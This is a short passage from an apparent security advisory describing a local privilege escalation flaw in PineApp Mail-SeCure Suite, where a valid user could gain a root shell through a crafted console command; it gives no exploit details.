3. Vulnerability Description
A security vulnerability was discovered in PineApp  Mail-SeCure Suite , allowing a non-privileged attacker to get a root shell by sending a specially crafted command from the Mail-SeCure console. A valid user account is needed to launch the attack, so this is a privileged escalation vulnerability that can be exploited locally only.
